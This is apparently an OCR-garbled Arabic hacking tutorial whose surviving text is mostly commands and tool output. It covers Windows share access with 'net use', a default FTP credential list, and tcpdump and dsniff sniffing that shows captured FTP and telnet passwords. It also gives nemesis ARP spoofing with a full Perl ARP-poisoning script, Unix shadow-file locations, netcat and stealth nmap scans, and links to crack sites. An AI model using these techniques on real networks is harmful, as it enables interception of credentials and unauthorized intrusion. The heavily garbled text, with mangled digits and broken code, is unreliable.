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C:wrnetstat
Active Connections

Proto Local Address

1

netstat

Foreign Address

2

Address Local-

Address Foreign-
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(TCPIP))
(NetBEUI))

nbtstat -A
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nbtstat —A L

((SHARING))

NOT))
((SHARING

net view \\127.0.0.1
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Network System NFS
File

shell

showmount -e127.0.0.1
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TELNET

c:\windows directory

XpP NT

c:\winnt\system32 directory
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c:\>telnet <host> <port>

=host
=port

telnet
c:\telnet>open
c:\telnet>to

0 open
to

1A






Net usex\\ , , , \crystal

X

crystal

Netusei\\ , , , \crystal

123



Net use i \\host\ super-crystal/user:A administrator
=Host

nbstat

Nbstat —A o

Net use e \\host\c$password/user:username

¢o



Me

command

cemd.exe

1



*% *%

NETBIOS TCP/IP
NBTSTAT|  TELNET

NET VIEW FTP

NET USE PING

NET LOCALGROUP| NETSTAT
TRACERT

NSLOOKUP

TCP/IP

upDppP

1A%




TCP\IP

NET BIOS
Net Basic Input/Output System

¢A



whois

C:\>nslookup
Default Server: DNS.saudi.net
Address: Y)Y, 11,¥Y1

>Set g=xm
>crystal.com

Server: DNS.saudi.net
Address: YYY,)Y17,Y1

crystal.com MX preference = ©, mail exchanger =
mail.crystal.com

crystal.com MX preference = )+, mail exchanger =
mxY.crystal.com

crystal.com MX preference = Y+, mail exchanger =
mxY.crystal.com

crystal.com nameserver = ns.crystal.com
crystal.com nameserver = ns-).crystal.com
crystal.com nameserver = ns-Y.crystal.com
crystal.com nameserver = ns-Y. crystal.com
crystal.com nameserver = ns-£. crystal.com

mail. crystal.com internet address = Y)Y,)11,Y1
mxY. crystal.com internet address = Y)Y,)11,Y1
mxY. crystal internet address = Y)Y,)11,Y1

€9



ns. crystal.com internet address = Y)Y,)11,Y1

ns. crystal.com internet address = Y)Y,)11,Y1

ns. crystal.com internet address = Y)Y, V¢,.,Yo¢
ns. crystal.com internet address = Y)Y, V¢,),Y0¢
ns. crystal.com internet address = Y)%,9A,YY,0¢
ns. crystal.com internet address = YY1, )Y ¢,.,YY
ns. crystal.com internet address = YY1, Y&,V
ns. crystal.com internet address = YY1,)V¢,.,Yo
ns. crystal.com internet address = YY1, V¢, 00
ns. crystal.com internet address = YY1,VV¢,.,Y)
ns. crystal.com internet address = YY1,)V¢,.,4
ns-). crystal.com internet address = Y)1,)Y¢,Y1,Vo¢
ns-Y. crystal.com internet address = Y)4,9A,YY,0¢
ns-Y. crystal.com internet address = YY1,VY¢,),Vo¢

ns-£. crystal.com internet address = YY1,VY¢,., Vot
>

crystal

DNS request timed out.
timeout was Y seconds.
DNS request timed out.
timeout was Y seconds.
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FTP

ip

Host name :
Port :
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root root
nobody anon
iInformix database
field fld / test /
support

gadmin adm / admin
daemon daemon
admin admin
install install
anon anon
ncrm ncr
net netowrk
netman| net/ man/ mgr
nuucp anon
anon mail@mail.com
games games
guest guest
daemon daemon
main sysmaint /
service

manager mgr / man
lib library / syslib

[=X~]




ingres database

Logged in super-crystalL
=Super-CrystalL

Pasv

Entring Passive Mode

ip

o1
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TcpDump

[http:/ /www.tcpdump.org




wget http://www.tcpdump.org/release/tcpdump-Y,V,Y.tar.gz

J/configure
+

Make
+

make install

*kkk *kkkk

Ifconfig

Ipconfig

o9



# 1fconfig ethO

ethO Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:O

TX packets:0 errors:0 dropped:0 overruns:0

collisions:0 txqueuelen:100

RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:9 Base address:0xc000
collisions:0 txqueuelen:100

RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:9 Base address:0xc000

()

# 1fconfig ethO



ethO Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED
# 1fconfig ethO
Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED
BROADCAST PROMISC MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:O

TX packets:0 errors:0 dropped:0 overruns:0

collisions:0 txqueuelen:100
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:9 Base address:0xc000

tcpdump -1 -X 'ip host 69.165.0.166
=69.165.0.166

# tcpdump -1 -X "1p host 69.165.0.166"

W



tcpdump: listening on ethO

21:27:44.684964 69.165.0.166.Fftp > 69.165.0.193.32778:
P 1:42(41) ack 1 win 17316

<nop,nop,timestamp 466808 920202> (DF)

0x0000 4500 005d e065 4000 8006 97ad cOa8 0076

0x0010 cOa8 00cl 0015 800a 292e 8a73 5ed4 9ce8
)..s™. ..
0x0020 8018 43a4 al2f 0000 0101 080a 0007 1¥78

-..-220_.TYPSoft.
0x0040 4654 5020 5365 7276 6572 2030 2e39 392e
FTP.Server.0.99.

21:27:44.685132 69.165.0.193.32778 > 69.165.166.Ftp:
ack 42 win 5840

<nop,nop,timestamp 920662 466808> (DF) [tos 0x10]
0x0000 4510 0034 966TF 4000 4006 21bd c0Oa8 00cl

0Ox0010 cOa8 0076 800a 0015 5ed4 9ce8 292e 8a9c

S VAR A
0x0020 8010 16d0 81db 0000 0101 080a 000e 0c56

0x0030 0007 1f78

.. -X

21:27:52.406177 69.165.0.193.32778 > 69.165.0.166.fFtp:
P 1:13(12) ack 42 win 5840

<nop,nop,timestamp 921434 466808> (DF) [tos 0x10]
0x0000 4510 0040 9670 4000 4006 21b0 c0Oa8 00c1

0x0010 cO0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c
S VAR A
0x0020 8018 16d0 edd9 0000 0101 080a 000e Of5a

0x0030 0007 1f78 5553 4552 206c 6565 6368 0dOa

- - -XUSER.super..

21:27:52.415487 69.165.0.166.Fftp > 192.168.0.193.32778:
P 42:76(34) ack 13 win

17304 <nop,nop,timestamp 466885 921434> (DF)

0x0000 4500 0056 eOac 4000 8006 976d cOa8 0076
E..V..@....m...Vv

0x0010 cOa8 00cl 0015 800a 292e 8a9c 5ed4 9cf4




/\

..C.N,

0x0030 000e Of5a 3333 3120 5061 7373 776F 7264
...Z331.Password

0x0040 2072 6571 7569 7265 6420 666F 7220 6C65
.required.for.le

21:27:52.415832 192.168.0.193.32778 >
192.168.0.118._ftp: . ack 76 win 5840
<nop,nop,timestamp 921435 466885> (DF) [tos 0x10]
0x0000 4510 0034 9671 4000 4006 21bb c0Oa8 00c1

0x0010 cO0a8 0076 800a 0015 5ed4 9cf4 292e 8abe
S VAR A
0x0020 8010 16d0 7e5b 0000 0101 080a 000e Of5b

21:27:56.155458 192.168.0.193.32778 >
192.168.0.118._.ftp: P 13:27(14) ack 76 win

5840 <nop,nop,timestamp 921809 466885> (DF) [tos 0x10]
0x0000 4510 0042 9672 4000 4006 2lac c0Oa8 00cl

0x0010 cOa8 0076 800a 0015 5ed4 9cf4 292e 8abe
L VR A )
0x0020 8018 16d0 90b5 0000 0101 080a 000e 10d1

0x0030 0007 1fc5 5041 5353 206c 3840 6e69 7465
-PASS. 18@crystal
OxOO4O 0dOa
21:27:56.179427 69.165.0.166.Ftp > 192.168.0.193. 32778
P 76:103(27) ack 27 win
17290 <nop,nop,timestamp 466923 921809> (DF)
0x0000 4500 004f eOcc 4000 8006 9754 cOa8 0076
E..O..Q@. .V
0x0010 cOa8 OOcl 0015 800a 292e 8abe 5ed4 9d02

080a 0007 1feb
OXOOBO 000e 10dl1 3233 3020 5573 6572 206cCc 6565

...-230.User.lee
0x0040 6368 206c 667 6765 6420 696e 2e0d Oa




ASCII

Pop

# dsniff -n
dsniff: listening on ethO

12/10/02 21:43:21 tcp 69.165.0.193.32782 -> 192.168.0.118.21
USER super

PASS 18@crystal

12/10/02 21:47:49 tcp 69.165.0.193.32785 -> 192.168.0.120.23
(telnet)

USER root
PASS rOxRay

¢



dsniff

10



# ping -c 1 -w 1 69.165.0.1
PING 69.165.0.1 (69.165.0.1): 56 octets data
64 octets from 69.165.0.1: 1cmp_seqg=0 ttl=64 time=0.4 ms

-—- 69.165.0.1 ping statistics --—-

1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.4 ms

# ping -c 1 -w 1 69.165.0.166

PING 69.165.0.166 (69.165.0.166): 56 octets data

64 octets from 69.165.0.166: 1cmp_seq=0 ttl=128 time=0.4 ms

-—- 69.165.0.166 ping statistics --—-
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.4 ms
H# arp -na
? (69.165.0.166) at 00:50:18:00:0F:01 [ether] on ethO
? (69.165.0.166) at 00:CO:F0:79:3D:30 [ether] on ethO
# 1fconfig ethO
ethO Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED
inet addr:192.168.0.193 Bcast:69.165.0.255
Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MTU:1500 Metric:1
RX packets:4153 errors:0 dropped:0 overruns:0 frame:O0
TX packets:3875 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:601686 (587.5 Kb) TX bytes:288567 (281.8 Kb)
Interrupt:9 Base address:0xc000

"



# nemesis

NEMESIS -=- The NEMESIS Project Version 1.4beta3 (Build
22)

NEMESIS Usage:
nemesis [mode] [options]

NEMESIS modes:
arp
dns
ethernet
icmp
1gmp
ip
ospf (currently non-functional)
rip
tcp
udp

NEMESIS options:
To display options, specify a mode with the option
"help™.

# nemesis arp help

ARP/RARP Packet Injection -=- The NEMESIS Project
Version 1.4beta3 (Build 22)

ARP/RARP Usage:
arp [-v (verbose)] [options]

ARP/RARP Options:
<Source IP address>
<Destination IP address>
<Sender MAC address within ARP frame>
<Target MAC address within ARP frame>
<Solaris style ARP requests with target hardware
addess set to broadcast>
-r ({ARP,RARP} REPLY enable)
-R (RARP enable)
-P <Payload file>

Data Link Options:




-d <Ethernet device name>
-H <Source MAC address>
-M <Destination MAC address>

You must define a Source and Destination IP address.
H#

# nemesis arp -v -r -d ethO -S 69.165.0.1-D
69.165.0.166 -h 00:00:AD:D1:C7:ED -m
00:CO:F0:79:3D:30 -H 00:00:AD:D1:C7:ED -M
00:CO:F0:79:3D:30

ARP/RARP Packet Injection -=- The NEMESIS Project
Version 1.4beta3 (Build 22)

[MAC] 00:00:AD:D1:C7:ED >
00:CO:F0:79:3D:30
[Ethernet type] ARP (0x0806)

[Protocol addr:IP] 69.165.0.1> 69.165.0.166

[Hardware addr:MAC] 00:00:AD:D1:C7:ED >
00:C0O0:F0:79:3D:-30

[ARP opcode] Reply

[ARP hardware fmt] Ethernet (1)

[ARP proto format] IP (0x0800)

[ARP protocol len] 6

[ARP hardware len] 4

Wrote 42 byte unicast ARP request packet through
linktype DLT EN1OMB.

ARP Packet Injected

# nemesis arp -v -r -d ethO -S 69.165.0.166 -D
69.165.0.1-h 00:00:AD:D1:C7:ED -m
00:50:18:00:0F:01 -H 00:00:AD:D1:C7:ED -M
00:50:18:00:0F:01

ARP/RARP Packet Injection -=- The NEMESIS Project
Version 1.4beta3 (Build 22)

[MAC] 00:00:AD:D1:C7:ED >
00:50:18:00:0F:01
[Ethernet type] ARP (0x0806)

[Protocol addr:IP] 69.165.0.166> 69.165.0.1




[Hardware addr:MAC] 00:00:AD:D1:C7:ED >
00:50:18:00:0F:01
[ARP opcode] Reply
[ARP hardware fmt] Ethernet (1)
[ARP proto format] IP (0x0800)
[ARP protocol len] 6
[ARP hardware len] 4

Wrote 42 byte unicast ARP request packet through
linktype DLT_EN1OMB.

ARP Packet Injected
#

their MAC address is at the attacker's
|00000000000000000I

# perl -e “"while(1){print "Redirecting...\n";
system(''nemesis arp -v -r -d ethO -S

192.168.0.1 -D 192.168.0.118 -h 00:00:AD:D1:C7:ED -m
00:CO:F0:79:3D:30 -H

00:00:AD:D1:C7:ED -M 00:C0O:F0:79:3D:30");
system(*'nemesis arp -v -r -d ethO -S

192.168.0.118 -D 192.168.0.1 -h 00:00:AD:D1:C7:ED -m
00:50:18:00:0F:01 -H

00:00:AD:D1:C7:ED -M 00:50:18:00:0F:01"");sleep 10;}"
Redirecting...
Redirecting...

T4



#1/usr/bin/perl
$device = "eth0";

$SIG{INT} = \&cleanup; # Trap for Ctrl-C, and send to

# First command line arg
# Second command line arg

it (($gw . "." . $targ) '~ /~([0-9]1{1,3}\D{7}O-

91{1,3}%/)

{ # Perform input validation; if bad, exit.
die(""Usage: arpredirect.pl <gateway> <target>\n'");

}

# Quickly ping each target to put the MAC addresses iIn
cache

print "Pinging $gw and $targ to retrieve MAC
addresses...\n";

system("'ping -q -¢ 1 -w 1 $gw > /dev/null™);
system(*'ping -q -¢c 1 -w 1 $targ > /dev/null'");

# Pull those addresses from the arp cache
print "Retrieving MAC addresses from arp cache...\n";
gx[/sbin/arp -na $gw];
substr($gw_mac, index($gw_mac, ":"")-2, 17);
gx[/sbin/arp -na $targ];
substr($targ_mac, index($targ _mac, ":")-2,

# 1T they"re not both there, exit.
1T($gw_mac 1~ /~M(JA-FO-9]1{2}\:){5}[A-FO0-9]{2}%/)
{

die("'MAC address of $gw not found.-\n');

by

i1f($targ _mac '~ /M([A-FO-9]{2}\)H){5}A-F0-9]1{2}%/)

{
die("'MAC address of $targ not found.\n'");

by
# Get your IP and MAC

print "Retrieving your IP and MAC info from
ifconfig...\n";




split(" ", gx[/sbin/ifconfig $device]);
= substr(@ifconf[6], 5);
$me_mac = @ifconf[4];

print "[*] Gateway: $gw Is at $gw_mac\n'';
print "[*] Target: $targ is at $targ _mac\n";
print "[*] You: $me is at $me_mac\n';
while($flag)
{ # Continue poisoning until ctrl-C
print "Redirecting: $gw -> $me_mac <- $targ";
system(''nemesis arp -r -d $device -S $gw -D $targ
$me_mac -m $targ_mac -H
$me _mac -M $targ_mac');
system("'nemesis arp -r -d $device -S $targ -D $gw
$me_mac -m $gw_mac -H
$me_mac -M $gw_mac');
sleep 10;
+

sub cleanup
{ # Put things back to normal

$flag = O;
print "Ctrl-C caught, exiting cleanly.\nPutting arp caches
back to normal.";

system(‘'nemesis arp -r -d $device -S $gw -D $targ
$gw_mac -m $targ_mac -H
$gw_mac -M $targ_mac'™);

system('nemesis arp -r -d $device -S $targ -D $gw
$targ_mac -m $gw_mac -H
$targ_mac -M $gw_mac');
+
# ./arpredirect.pl
Usage: arpredirect.pl <gateway> <target>
# _/arpredirect.pl 69.165.0.1 69.165.0.166
Pinging 69.165.0.1 and 69.165.0.166 to retrieve MAC
addresses. ..
Retrieving MAC addresses from arp cache...
Retrieving your IP and MAC info from ifconfig...
[*] Gateway: 69.165.0.1 1s at 00:50:18:00:0F:01
[*] Target: 69.165.0.166 i1s at 00:CO:F0:79:3D:30
[*] You: 69.165.0.193 i1s at 00:00:AD:D1:C7:ED
Redirecting: 192.165.0.1 -> 00:00:AD:D1:C7:ED <-
69.165.0.166
ARP Packet Injected




ARP Packet Injected

Redirecting: 69.165.0.1-> 00:00:AD:D1:C7:ED <-
69.165.0.166

ARP Packet Injected

ARP Packet Injected

Ctrl-C caught, exiting cleanly.
Putting arp caches back to normal.
ARP Packet Injected

ARP Packet Injected

#

\Al






Linux etc/shadow/

Digital UNIX etc/tcb/aa/user/
AlX|etc/security/passwd/
Convex0S etc/shadpw
Convex0S etc/shadow/
BSD , | etc/master.passwd/
HP-UX| secure/etc/passwd./

IRIX etc/shadow/
UNICOS etc/udb/
SunOS etc/shadow/
SystemVr , etc/shadow/

\ &4







netcat

#
nc —v -z C -
nc-v-z-r-i target -
nc -v target
upd syslog *

#echo "< > rait any maissg "l ./nc -u target
(port)

dns

&



nc-p  targthost
aol instant messenger

nc -L -p

nc —v —n ip the host

‘nc -l — , hack.txt ,
P >hack.txt

\A%



YA

<hack.txt , ~"C

hack.txt!



Nmap

Nmap

nmap -sT www.targthost.com -

vAa



nmap -skR www.targthost.com -
RPC
RPC
RPC AND MOUNTD

/tcp open

SUNRPC(RPCBIND V )
RPC

nmap -sS www.targthost.com —

/tcp filtered
nmap -O www.targthost.com -

system guess: Linux Kernel |, - |

nmap -v www.targthost.com -

(send mail) (ftp )

21/tcp open ftp



22/tcp open ssh
25/tcp open smtp

nmap -1 www.targthost.com —
IDENTD

21/tcp open root
80/tcp open nobody
22/tcp open  root

nmap -T Sneaky -sS - targthost.com -

IDS

nmap -F targthost.com -
Ss-Sf-)
(sX-Sn

AN



AY
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(whois)



whois

Whois.internic.net

whois
Whois.networksolutions.com
Whois.arin.net
ip
whois Whois.apnic.net
whois Whois.nic.gov

Whois.nic.mail

AY




whois
Whois L

Whois.internic.net

www.hostnema.gov
whois

www.hosthnema.govWhois -h Whois.nic.gov

Whois -h Whois.nic.mail
al fttak @hotmail.com

/
(hacker the help)

Ag



ipeye

nmap
tcp and fin

Xp

netcat

Ao



()
lpeye , » , —Syn-p
syn

AT



http://securiteam.com -\
http://securityfocus.com -Y
http://ntsecurity.com-Y
http://insecure.org -¢
http://rootshell.redi.tk -¢

AY



http://google.com -1

http://www.warezarchive.org/ -V
/http://lwww.crack-site.com -A
/http://cracks.thebugs.us -1
/http://www.crackheaven.com -\ +
http://www.jtoonen.xstall.nl -1
www.linkworld.ws/Underground/Cracking/Sear
/ch_Engines -\Y
http://www.linkworld.ws/Underground/Hacking
VY

http://www.scdown.org -\ ¢
/http://www.andr.net -\ °
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